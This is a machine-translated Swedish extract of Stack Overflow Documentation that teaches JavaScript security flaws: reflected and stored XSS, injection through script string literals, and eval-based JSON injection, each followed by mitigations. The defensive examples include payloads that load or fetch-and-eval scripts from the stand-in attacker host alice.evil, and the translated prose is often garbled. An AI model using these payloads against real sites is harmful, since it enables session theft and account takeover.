Sök…


Introduktion

Detta är en samling vanliga JavaScript-säkerhetsproblem, som XSS och eval-injektion. Denna samling innehåller också hur man kan mildra dessa säkerhetsproblem.

Reflected Cross-site scripting (XSS)

Låt oss säga att Joe äger en webbplats som låter dig logga in, visa valpvideor och spara dem på ditt konto.

När en användare söker på den webbplatsen omdirigeras de till https://example.com/search?q=brown+puppies .

Om en användares sökning inte matchar någonting än att de ser ett meddelande på följande sätt:

Din sökning ( bruna valpar ) matchade ingenting. Försök igen.

På backend visas meddelandet så här:

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

Men när Alice söker efter <h1>headings</h1> får hon detta tillbaka:

Din sökning (

rubrikerna

) matchade ingenting. Försök igen.

Rå HTML:

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

Än Alice söker efter <script>alert(1)</script> ser hon:

Din sökning () matchade ingenting. Försök igen.

Och:

En varningslåda som säger "1".

Än Alice söker efter <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies och kopierar länken i adressfältet, och än e-post Bob:

Guppa,

När jag söker efter söta valpar händer ingenting!

Än Alice får framgångsrikt Bob att köra sitt manus medan Bob är inloggad på sitt konto.

begränsning:

  1. Undvika alla vinkelfästen i sökningar innan du returnerar söktermen när inga resultat hittas.
  2. Lämna inte söktermen när inga resultat hittas.
  3. Lägg till en policy för innehållssäkerhet som vägrar att ladda aktivt innehåll från andra domäner

Persistent Cross-site scripting (XSS)

Låt oss säga att Bob äger en social webbplats som gör det möjligt för användare att anpassa sina profiler.

Alice går till Bobs webbplats, skapar ett konto och går till hennes profilinställningar. Hon sätter sin profilbeskrivning på att I'm actually too lazy to write something here.

När hennes vänner visar sin profil körs den här koden på servern:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

Resultatet i denna HTML:

<div>I'm actually too lazy to write something here.</div>

Än Alice sätter sin profilbeskrivning på <b>I like HTML</b> . När hon besöker sin profil istället för att se

<b> Jag gillar HTML </b>

hon ser

Jag gillar HTML

Sedan ställer Alice in sin profil till

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

När någon besöker hennes profil får de Alice's skript på Bobs webbplats medan de är inloggad som sitt konto.

Mitigation

  1. Undviksvinklar i profilbeskrivningar etc.
  2. Lagra profilbeskrivningar i en vanlig textfil som sedan hämtas med ett skript som lägger till beskrivningen via .innerText
  3. Lägg till en policy för innehållssäkerhet som vägrar att ladda aktivt innehåll från andra domäner

Ihållande cross-site skript från JavaScript strängbokstäver

Låt oss säga att Bob äger en webbplats som låter dig publicera offentliga meddelanden.

Meddelandena laddas av ett skript som ser ut så här:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

Funktionen addMessage lägger till ett postat meddelande till DOM. Men i ett försök att undvika XSS undviks alla HTML i meddelanden som publiceras.

Skriptet genereras på servern så här:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

Så alice publicerar ett meddelande som säger: My mom said: "Life is good. Pie makes it better. " . Än när hon förhandsgranskar meddelandet, istället för att se sitt meddelande ser hon ett fel i konsolen:

Uncaught SyntaxError: missing ) after argument list

Varför? Eftersom det genererade skriptet ser ut så här:

addMessage("My mom said: "Life is good. Pie makes it better. "");

Det är ett syntaxfel. Ännu Alice inlägg:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Då ser det genererade skriptet ut:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

Det lägger till meddelandet I like pie , men det hämtar och körs https://alice.evil/js_xss.js när någon besöker Bobs webbplats.

begränsning:

  1. Vidarebefordra meddelandet publicerat på JSON.stringify ()
  2. Istället för att dynamiskt bygga ett skript, bygg en vanlig textfil som innehåller alla meddelanden som senare hämtas av skriptet
  3. Lägg till en policy för innehållssäkerhet som vägrar att ladda aktivt innehåll från andra domäner

Varför skript från andra människor kan skada din webbplats och dess besökare

Om du inte tror att skadliga skript kan skada din webbplats har du fel . Här är en lista över vad ett skadligt skript kan göra:

  1. Ta bort sig själv från DOM så att det inte kan spåras
  2. Stjälla användares sessionskakor och aktivera skriptförfattaren att logga in som och efterge sig dem
  3. Visa en falsk "Din session har gått ut. Logga in igen." meddelande som skickar användarens lösenord till skriptförfattaren .
  4. Registrera en skadlig servicearbetare som kör ett skadligt skript vid varje sidbesök på den webbplatsen.
  5. Sätt upp en falsk betalvägg som kräver att användare betalar pengar för att komma åt webbplatsen som faktiskt går till skriptförfattaren .

Snälla, tro inte att XSS inte kommer att skada din webbplats och dess besökare.

Utvärderad JSON-injektion

Låt oss säga att när någon besöker en profilsida på Bobs webbplats hämtas följande URL:

https://example.com/api/users/1234/profiledata.json

Med ett svar som detta:

{
    "name": "Bob",
    "description": "Likes pie & security holes."
}

Än att data är tolkad och infogad:

var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;

Verkar bra, eller hur? Fel.

Vad händer om någons beskrivning är Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. ? Verkar konstigt, men om det är dåligt gjort, kommer svaret att vara:

{
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}

Och detta kommer att eval :

({
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})

Om du inte tror att det är något problem klistra in det i din konsol och se vad som händer.

Mitagation

  • Använd JSON.parse istället för eval för att få JSON. I allmänhet, använd inte eval, och använd definitivt inte eval med något som en användare kan kontrollera. Eval skapar en ny exekveringskontekst , skapar en prestandahit .

  • Riktigt fly " och \ i användardata innan du lägger dem i JSON. Om du bara fly " , kommer detta att hända:

    Hello! \"});alert(1);({
    

    Kommer att konverteras till:

    "Hello! \\"});alert(1);({"
    

    Hoppsan. Kom ihåg att undgå både \ och " , eller använd bara JSON.parse.



Modified text is an extract of the original Stack Overflow Documentation
Licensierat under CC BY-SA 3.0
Inte anslutet till Stack Overflow